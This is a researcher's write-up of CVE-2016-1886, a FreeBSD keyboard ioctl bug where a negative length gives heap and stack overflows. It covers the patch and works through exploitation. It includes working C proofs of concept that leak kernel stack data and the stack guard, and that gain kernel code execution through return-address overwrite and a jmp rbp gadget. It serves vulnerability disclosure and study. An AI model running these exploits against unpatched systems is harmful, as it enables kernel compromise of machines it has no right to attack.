Analysis of CVE-2016-1886, SETFKEY FreeBSD kernel vulnerability

Introduction

Every FreeBSD keyboard driver exposes its own ioctl interface to allow it to be configured from userland (through the kbdcontrol utility for example). Typically, these ioctl handlers will implement any specific commands for the hardware, such as enabling or disabling LEDs, and will delegate the rest of the commands to a common handler, called genkbd_commonioctl .

I discovered a vulnerability in this common handler, which has been present since the driver's introduction in 1999.

Due to a poor default sysctl variable, this bug can be triggered by an unprivileged user, so long as at least one keyboard driver is running (by default the atkbd driver is used), making its impact critical.

I decided to report this bug to the FreeBSD Security Team on April 22, 2016, the day after I had discovered it, and was able to exploit it about a week later. It has been assigned CVE-2016-1886 and Security Advisory 16:18.

In this article I will provide an explanation of the bug, and some of the methods which I considered for exploitation, including the one I had success with: using the corrupted len member of a keytab to trigger a powerful two way heap and stack overflow.

As always, since my interest is just in finding and analysing bugs, and not in publishing any fully weaponised exploit source code, the aim of this article will just be to demonstrate the impact of the bug by gaining kernel code execution as an unprivileged user; I will leave any further development, such as privilege escalation and cleanly returning from the payload, as an exercise for the reader.

All details and code excerpts for this article have been taken from FreeBSD 10.2-RELEASE (amd64), however, the vulnerability is present up to version 10.3 as well, and for all architectures supported by FreeBSD.

Background

The keyboard kernel struct contains a pointer to an array of tables, which are used to describe the function of a particular key. This array is allocated on the heap, with 16 bytes reserved for each description.

sys/sys/kbio.h :

#define MAXFK 16

sys/dev/kbd/kbdreg.h :

typedef struct keyboard keyboard_t; ... struct keyboard { ... struct fkeytab *kb_fkeytab; /* function key strings */ int kb_fkeytab_size;/* # of function key strings */ ... };

sys/sys/kbio.h :

struct fkeytab { u_char str[MAXFK]; u_char len; };

The genkbd_commonioctl handler exposes the GETFKEY and SETFKEY commands to manage the description of these function keys from userland.

sys/dev/kbd/kbd.c :

int genkbd_commonioctl(keyboard_t *kbd, u_long cmd, caddr_t arg) { keymap_t *mapp; okeymap_t *omapp; keyarg_t *keyp; fkeyarg_t *fkeyp; int s; int i, j; int error; s = spltty(); switch (cmd) { ... case GETFKEY: /* get functionkey string */ fkeyp = (fkeyarg_t *)arg; if (fkeyp->keynum >= kbd->kb_fkeytab_size) { splx(s); return (EINVAL); } bcopy(kbd->kb_fkeytab[fkeyp->keynum].str, fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].len); fkeyp->flen = kbd->kb_fkeytab[fkeyp->keynum].len; break; case SETFKEY: /* set functionkey string */ #ifndef KBD_DISABLE_KEYMAP_LOAD fkeyp = (fkeyarg_t *)arg; if (fkeyp->keynum >= kbd->kb_fkeytab_size) { splx(s); return (EINVAL); } error = fkey_change_ok(&kbd->kb_fkeytab[fkeyp->keynum], fkeyp, curthread); if (error != 0) { splx(s); return (error); } kbd->kb_fkeytab[fkeyp->keynum].len = imin(fkeyp->flen, MAXFK); bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str, kbd->kb_fkeytab[fkeyp->keynum].len); break; #else splx(s); return (ENODEV); #endif default: splx(s); return (ENOIOCTL); } splx(s); return (0); }

For these commands, the fkeyp struct is user supplied, and of type struct fkeyarg .

sys/sys/kbio.h :

struct fkeyarg { u_short keynum; char keydef[MAXFK]; char flen; }; typedef struct fkeyarg fkeyarg_t;

Privilege requirement

As mentioned earlier, there is a sysctl variable, hw.kbd.keymap_restrict_change , which prevents unprivileged users from updating the length or contents of these keymap entries (checked by fkey_change_ok ), however it is set to a default value of 0 , which disables this functionality!

sys/dev/kbd/kbd.c :

SYSCTL_INT(_hw_kbd, OID_AUTO, keymap_restrict_change, CTLFLAG_RW, &keymap_restrict_change, 0, "restrict ability to change keymap"); ... static int fkey_change_ok(fkeytab_t *oldkey, fkeyarg_t *newkey, struct thread *td) { if (keymap_restrict_change <= 3) return (0); if (oldkey->len != newkey->flen || bcmp(oldkey->str, newkey->keydef, oldkey->len) != 0) return priv_check(td, PRIV_KEYBOARD); return (0); }

I'm not sure if this is a bug in its self, or if FreeBSD just has poor defaults, but we decided to raise the default value of this sysctl to be 4 in HardenedBSD; perhaps FreeBSD will follow suit.

The functionality to modify keymap entries can also be removed entirely by compiling with " options KBD_DISABLE_KEYMAP_LOAD " in the configuration file, but this option is not present in the GENERIC kernel.

The bug

The bug is an improper bound check when updating the length of a key description through the SETFKEY command.

Obviously, before accepting a user supplied length here, it should be checked to ensure that any copies relying on it won't write out of bounds for the allocated buffer ( MAXFK = 16 bytes ).

The handler attempts to do this by using imin to provide an upper limit of MAXFK . The problem is that no part of this code checks for negative values of fkeyp->flen !

kbd->kb_fkeytab[fkeyp->keynum].len = imin(fkeyp->flen, MAXFK);

When passing a negative length in fkeyp->flen , a signed comparison will be performed against 16 , which results in imin returning the negative length.

sys/sys/libkern.h :

static __inline int imin(int a, int b) { return (a < b ? a : b); }

The negative value returned by imin is then assigned to kbd->kb_fkeytab[fkeyp->keynum].len , which has an unsigned type ( u_char ). This means that negative lengths will wrap around to be positive; for example, -1 will wrap around to 255 .

Triggering the vulnerability only requires our copy size to be negative as a signed char , which means we may set the length of a key description to any value between 128 - 255 .

Patch

I submitted a patch alongside my report which solves the issue by replacing imin with min in the SETFKEY case of genkbd_commonioctl .

This function performs unsigned comparisons instead, and so will return MAXFK when compared against a negative value.

sys/sys/libkern.h :

static __inline u_int min(u_int a, u_int b) { return (a < b ? a : b); }

The official patch may be downloaded from the FreeBSD site. Commit reference for this patch may be found here.

ioctl

Before going over the resultant overflows which occur from an invalid length being set, let's take a look at how the ioctl system call prepares the argument buffer.

This buffer will either be allocated on the heap with malloc , or point to a local stack buffer called smalldata , depending on whether the size needed for the command is greater than SYS_IOCTL_SMALL_SIZE ( 128 bytes) or not.

sys/kern/sys_generic.c :

int sys_ioctl(struct thread *td, struct ioctl_args *uap) { u_char smalldata[SYS_IOCTL_SMALL_SIZE] __aligned(SYS_IOCTL_SMALL_ALIGN); u_long com; int arg, error; u_int size; caddr_t data; ... /* * Interpret high order word to find amount of data to be * copied to/from the user's address space. */ size = IOCPARM_LEN(com); ... if (size > 0) { if (com & IOC_VOID) { /* Integer argument. */ arg = (intptr_t)uap->data; data = (void *)&arg; size = 0; } else { if (size > SYS_IOCTL_SMALL_SIZE) data = malloc((u_long)size, M_IOCTLOPS, M_WAITOK); else data = smalldata; } } else data = (void *)&uap->data; if (com & IOC_IN) { error = copyin(uap->data, data, (u_int)size); if (error != 0) goto out; } else if (com & IOC_OUT) { /* * Zero the buffer so the user always * gets back something deterministic. */ bzero(data, size); } error = kern_ioctl(td, uap->fd, com, data); if (error == 0 && (com & IOC_OUT)) error = copyout(data, uap->data, (u_int)size); out: if (size > SYS_IOCTL_SMALL_SIZE) free(data, M_IOCTLOPS); return (error); }

Both the GETFKEY and SETFKEY commands take an argument of type fkeyarg_t , which is 20 bytes, so the 128 byte stack buffer, smalldata , will be used.

SETFKEY overflow

Immediately after setting the new length in SETFKEY , a bcopy will be performed from the user supplied keydef in the ioctl argument buffer on the stack, into the key description heap array.

bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str, kbd->kb_fkeytab[fkeyp->keynum].len);

Once again, the size of the argument buffer on the stack is 128 bytes, each description of a keydef is 16 bytes, and the copy size we can control to be within the range 128 - 255 .

GETFKEY overflow

Once the corrupted size has been set, we can perform the inverse copy, from the key description heap array into the ioctl argument buffer on the stack, through the GETFKEY command.

sys/dev/kbd/kbd.c :

bcopy(kbd->kb_fkeytab[fkeyp->keynum].str, fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].len);

Targets for heap overflow

There are two main targets for the heap overflow, depending on the value specified for fkeyp->keynum .

If 0 is specified, the copy will start from the first struct fkeytab in the array, and read from or write into the elements following it (depending on the command).

Alternatively, we can begin the copy from the final element of the array by specifying (kbd->kb_fkeytab_size - 1 = 95) , which will result in overflowing whatever data on the heap follows the kbd->kb_fkeytab allocation.

Unfortunately, since each keyboard driver will allocate this buffer as soon as it is loaded, which is presumably at boot, we have no control over what the adjacent memory allocations will be.

All we know is that the size requested for this allocation will be 1920 bytes ( sizeof(struct fkeytab) * 96 ), and so it will be allocated on the 2048 byte anonymous zone (check out argp's paper about exploiting UMA for a detailed description of how UMA works).

Because of this, the actual size of the buffer allocated for the kb_fkeytab member is 2048 bytes, which means that by copying from the final element in this array with a size of 255 bytes, we overflow the next heap allocation by 107 bytes ( 1920 - 20 + 255 - 2048 ).

To identify whether overflowing into this memory would be useful, I set a breakpoint on the bcopy call to find the address of the kb_keytab buffer, and then dumped and set read/write breakpoints on the memory following it. Unfortunately the breakpoints were never triggered, and the contents of the dump were only 0 bytes, so it didn't seem to be used for anything.

This means that our only choice when overflowing from and into the heap is to to target other struct fkeytab items.

Targets for stack overflow

The argument buffer

As we saw earlier, the ioctl system call is designed to only copy in as much data from the user as a particular command expects, and so by the time that the SETFKEY heap overflow occurs, we have only copied sizeof(struct fkeyarg) into the argument buffer, without any control over the data following it. Because of this, we can't directly control the contents of the overflow from our SETFKEY call.

However, you may have noticed that only the portion of the argument buffer which is expected to be used will be initialised with data (via the copyin call when used as an input, and via the bzero call when used as an output).

This means that the initial overflow contents will be whatever uninitialised stack data is in the rest of smalldata . We can use this to our advantage by performing various other system calls beforehand, which will write to the stack, to gain some control over the memory which will later be occupied by smalldata .

For example, we can perform an ioctl call which takes a larger input (but at most 128 bytes) to copy arbitrary contents into the smalldata buffer, and then trigger the SETFKEY vulnerability. Since the stack frame for the two ioctl calls will be the same size (both will go through Xfast_syscall -> amd64_syscall -> sys_ioctl ), the smalldata buffer will occupy the same stack memory for both calls. As long as nothing else writes to this memory between the two calls, the smalldata buffer used for the SETFKEY command will still contain the contents from the first ioctl call.

There are many suitable ioctl commands to use for this: SIOCSIFPHYADDR , OSIOCAIFADDR , SIOCSDRVSPEC , SIOCAIFGROUP , etc.

I had partial success with this technique: most of the bytes from the first ioctl call remained in the buffer by the time the second call was reached, but some were overwritten with garbage data. You may be able to get better results from using other system calls, but I didn't analyse this possibility fully.

Below is some PoC code to demonstrate overflowing into a keytab with controlled contents:

#include <stdio.h> #include <stddef.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/kbio.h> #include <sys/consio.h> #include <sys/types.h> #include <sys/socket.h> #include <net/if.h> int main(void) { int i; fkeyarg_t fkey; printf(" [+] Fill final keytab data with 'a'

"); fkey.keynum = 95; fkey.flen = 16; memset(&fkey.keydef, 'a', 16); ioctl(0, SETFKEY, &fkey); printf(" [+] Get final keytab data

"); fkey.keynum = 95; fkey.flen = 16; memset(&fkey.keydef, 0, 16); ioctl(0, GETFKEY, &fkey); printf("keydef: "); for(i = 0; i < 16; i++) { printf("%02hhx ", fkey.keydef[i]); } printf("

"); printf("flen: %d

", fkey.flen); printf(" [+] Perform stack data manipulation

"); int sock = socket(AF_INET, SOCK_DGRAM, 0); struct oifaliasreq req; memset(&req, 0, sizeof(req)); fkeytab_t *keytab = (fkeytab_t *)((char *)&req + offsetof(fkeyarg_t, keydef)); memset(&keytab[1].str, 'b', 16); // Make sure that the length of the corrupted keytab won't cause stack overflow when using GETFKEY command keytab[1].len = 16; ioctl(sock, OSIOCAIFADDR, &req); fkey.keynum = 94; fkey.flen = -1; memset(&fkey.keydef, 0, 16); ioctl(0, SETFKEY, &fkey); printf(" [+] Overflowed into final keytab with uninitialised stack data

"); printf(" [+] Get final keytab data

"); fkey.keynum = 95; fkey.flen = 16; memset(&fkey.keydef, 0, 16); ioctl(0, GETFKEY, &fkey); printf("keydef: "); for(i = 0; i < 16; i++) { printf("%02hhx ", fkey.keydef[i]); } printf("

"); printf("flen: %d

", fkey.flen); close(sock); return 0; }

The output of the above is as follows:

[+] Fill final keytab data with 'a' [+] Get final keytab data keydef: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 flen: 16 [+] Perform stack data manipulation [+] Overflowed into final keytab with uninitialised stack data [+] Get final keytab data keydef: 00 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 flen: 16

By replacing the OSIOCAIFADDR ioctl call with a system call which treats the stack differently, we can leak many types of kernel stack data to userland with this method (kernel pointers can be useful for example). However, if the len member is corrupted to be too high, reading the memory will trigger the stack overflow in GETFKEY .

Stack frame

By corrupting the key description's len value to be anything greater than (128 - offsetof(fkeyarg_t, keydef) = 126) , we will extend the stack overflow past the smalldata buffer into the rest of the stack frame.

This allows us to read and write to some of the values on the stack which follow the smalldata buffer, from the keydef heap array.

smalldata (128) stack guard (8) rbx (8) r12 (8) r13 (8) r14 (8) r15 (8) rbp (8) rip (8)

The following PoC demonstrates this by leaking the stack guard.

#include <stdio.h> #include <stddef.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/kbio.h> #include <sys/types.h> int main(void) { int i; uint64_t guard; fkeyarg_t fkey; printf(" [+] Set keydef length

"); fkey.keynum = 7; fkey.flen = 16; memset(&fkey.keydef, 'a', 16); ioctl(0, SETFKEY, &fkey); printf(" [+] Overflow into keytabs

"); fkey.keynum = 0; fkey.flen = 128 - offsetof(fkeyarg_t, keydef) + sizeof(guard); memset(&fkey.keydef, 0, 16); ioctl(0, SETFKEY, &fkey); printf(" [+] Get leaked stack data

"); fkey.keynum = 7; fkey.flen = 16; memset(&fkey.keydef, 0, 16); ioctl(0, GETFKEY, &fkey); printf("keydef: "); for(i = 0; i < 16; i++) { printf("%02hhx ", fkey.keydef[i]); } printf("

"); printf("flen: %d

", fkey.flen); guard = *(uint64_t *)((char *)&fkey.keydef + 7); printf(" [+] Leaked stack guard: 0x%lx

", guard); return 0; }

Our only limitation with this is that, due to some differences between fkeyarg_t and struct fkeytab , we can only fully control 17 of the 20 bytes for each description (the 16 bytes in the keydef member, and 1 of the struct padding bytes). We can partially control the len member, but the final 2 bytes we have no control over.

Exploiting

The method of exploitation I went with is as follows:

Use SETFKEY to corrupt the length of a keytab and overflow from the stack onto the heap,

to corrupt the length of a and overflow from the stack onto the heap, Modify any values in the heap data using SETFKEY on higher keytab s,

on higher s, Use GETFKEY to overflow from the heap back onto the stack using the previously set length,

Since the GETFKEY and SETFKEY commands both go through the same stack frame, we only need to change the values on the stack which we want to, and can leave the others, like the stack guard, untouched.

By preparing the memory on the heap with SETFKEY , we will gain full control over the majority of the stack frame after performing the final GETFKEY call. However, due to how the memory alignment works out, we can only fully control the lower 4 bytes of the return address; the upper 4 bytes will remain as 0xffffffff .

We could attempt to use the trick described earlier to gain more control over the heap by initialising the argument buffer first, and calling SETFKEY on higher keytabs. However, I instead decided to just jump to a piece of kernel code which derives a function pointer from one of the other registers which we control, to gain full rip control.

For example, since we control r15 , we could use the following code from uma_zfree_arg :

FFFFFFFF80BBF2B3 mov rax, [r15+0D8h] FFFFFFFF80BBF2BA test rax, rax FFFFFFFF80BBF2BD jz short loc_FFFFFFFF80BBF2CE FFFFFFFF80BBF2BF mov esi, [r15+10Ch] FFFFFFFF80BBF2C6 mov rdi, r14 FFFFFFFF80BBF2C9 mov rdx, rbx FFFFFFFF80BBF2CC call rax

Although, an even better solution is to abuse the density of the x86-64 architecture by decoding from unintended offsets to find more convenient instructions. I used rp++ to find the following gadget:

FFFFFFFF808312CD jmp rbp

The following PoC demonstrates gaining kernel code execution from the bug on 10.2-RELEASE for amd64:

#include <stdio.h> #include <stdlib.h> #include <stddef.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/kbio.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/param.h> #include <sys/linker.h> void (*critical_enter)(void); int (*kprintf)(const char *fmt, ...); void *resolve(char *name) { struct kld_sym_lookup ksym; ksym.version = sizeof(ksym); ksym.symname = name; if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) { perror("kldsym"); exit(1); } printf(" [+] Resolved %s to %#lx

", ksym.symname, ksym.symvalue); return (void *)ksym.symvalue; } void payload(void) { critical_enter(); kprintf(" [+] Entered kernel payload

"); while(1); } // Copy the stack onto the heap void heapOverflow(int index, size_t size) { fkeyarg_t fkey; fkey.keynum = index; fkey.flen = size; memset(&fkey.keydef, 0, 16); ioctl(0, SETFKEY, &fkey); } // Copy the heap onto the stack void stackOverflow(int index) { fkeyarg_t fkey; fkey.keynum = index; fkey.flen = 16; memset(&fkey.keydef, 0, 16); ioctl(0, GETFKEY, &fkey); } int main(void) { int i; fkeyarg_t fkey; uint32_t ripLower4 = 0x808312cd; // jmp rbp uint64_t rbp = (uint64_t)payload; critical_enter = resolve("critical_enter"); kprintf = resolve("printf"); printf(" [+] Set full length for key 10

"); fkey.keynum = 10; fkey.flen = 16; ioctl(0, SETFKEY, &fkey); printf(" [+] Set bad length and perform heap overflow

"); heapOverflow(0, 128 - offsetof(fkeyarg_t, keydef) + 8 + 0x30 + sizeof(ripLower4)); printf(" [+] Prepare stack overflow memory

"); fkey.keynum = 10; fkey.flen = 16; ioctl(0, GETFKEY, &fkey); *(uint64_t *)((char *)&fkey.keydef + 4) = rbp; *(uint32_t *)((char *)&fkey.keydef + 12) = ripLower4; ioctl(0, SETFKEY, &fkey); printf(" [+] Trigger stack overflow

"); stackOverflow(0); return 0; }

Return to userland

Ideally, we should restore the original kernel stack frame so that our payload will return to amd64_syscall -> Xfast_syscall , where the correct userland registers will be restored, before switching back to user mode.

However, since my interest is just in demonstrating the impact of the bug, and not in creating fully weaponised source code, I decided to instead just use swapgs and sysret to return to userland with incorrect registers.

__asm__ volatile("swapgs; sysret");

This will trigger a segmentation fault and kill the userland process, but by this point we have already executed whatever we want in the kernel, and would just exit anyway.

This final PoC demonstrates using kernel code execution to modify a read only sysctl variable, and then reading it from a separate userland process. I've also included code to read the original stack variables, just in case anyone wants to try using them to return from the payload properly.

#include <stdio.h> #include <stdlib.h> #include <stddef.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/kbio.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/param.h> #include <sys/linker.h> int (*kprintf)(const char *fmt, ...); char *ostype; uint64_t originalRip; uint64_t originalRbp; void *resolve(char *name) { struct kld_sym_lookup ksym; ksym.version = sizeof(ksym); ksym.symname = name; if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) { perror("kldsym"); exit(1); } printf(" [+] Resolved %s to %#lx

", ksym.symname, ksym.symvalue); return (void *)ksym.symvalue; } void payload(void) { kprintf(" [+] Entered kernel payload

"); strcpy(ostype, "CTurt "); __asm__ volatile("swapgs; sysret"); } // Copy the stack onto the heap void heapOverflow(int index, size_t size) { fkeyarg_t fkey; fkey.keynum = index; fkey.flen = size; memset(&fkey.keydef, 0, 16); ioctl(0, SETFKEY, &fkey); } // Copy the heap onto the stack void stackOverflow(int index) { fkeyarg_t fkey; fkey.keynum = index; fkey.flen = 16; memset(&fkey.keydef, 0, 16); ioctl(0, GETFKEY, &fkey); } int main(void) { int result, i; fkeyarg_t fkey; uint32_t ripLower4 = 0x808312cd; // jmp rbp uint64_t rbp = (uint64_t)payload; kprintf = resolve("printf"); ostype = resolve("ostype"); printf(" [+] Set full length for key 10

"); fkey.keynum = 10; fkey.flen = 16; ioctl(0, SETFKEY, &fkey); printf(" [+] Set bad length and perform heap overflow

"); heapOverflow(0, 128 - offsetof(fkeyarg_t, keydef) + 8 + 0x30 + sizeof(ripLower4)); printf(" [+] Prepare stack overflow memory

"); fkey.keynum = 10; fkey.flen = 16; ioctl(0, GETFKEY, &fkey); originalRbp = *(uint64_t *)((char *)&fkey.keydef + 4); originalRip = 0xffffffff00000000 | *(uint32_t *)((char *)&fkey.keydef + 12); printf(" [+] Original rip: %#lx

", originalRip); printf(" [+] Original rbp: %#lx

", originalRbp); *(uint64_t *)((char *)&fkey.keydef + 4) = rbp; *(uint32_t *)((char *)&fkey.keydef + 12) = ripLower4; ioctl(0, SETFKEY, &fkey); printf(" [+] Trigger stack overflow

"); fflush(stdout); stackOverflow(0); return 0; }

Summary

This bug is very special for me because it is the first bug I have reported which was serious enough to be assigned a CVE. It was also really fun to analyse because it lead to such a powerful stack control primitive, and wasn't too difficult to gain arbitrary kernel code execution from.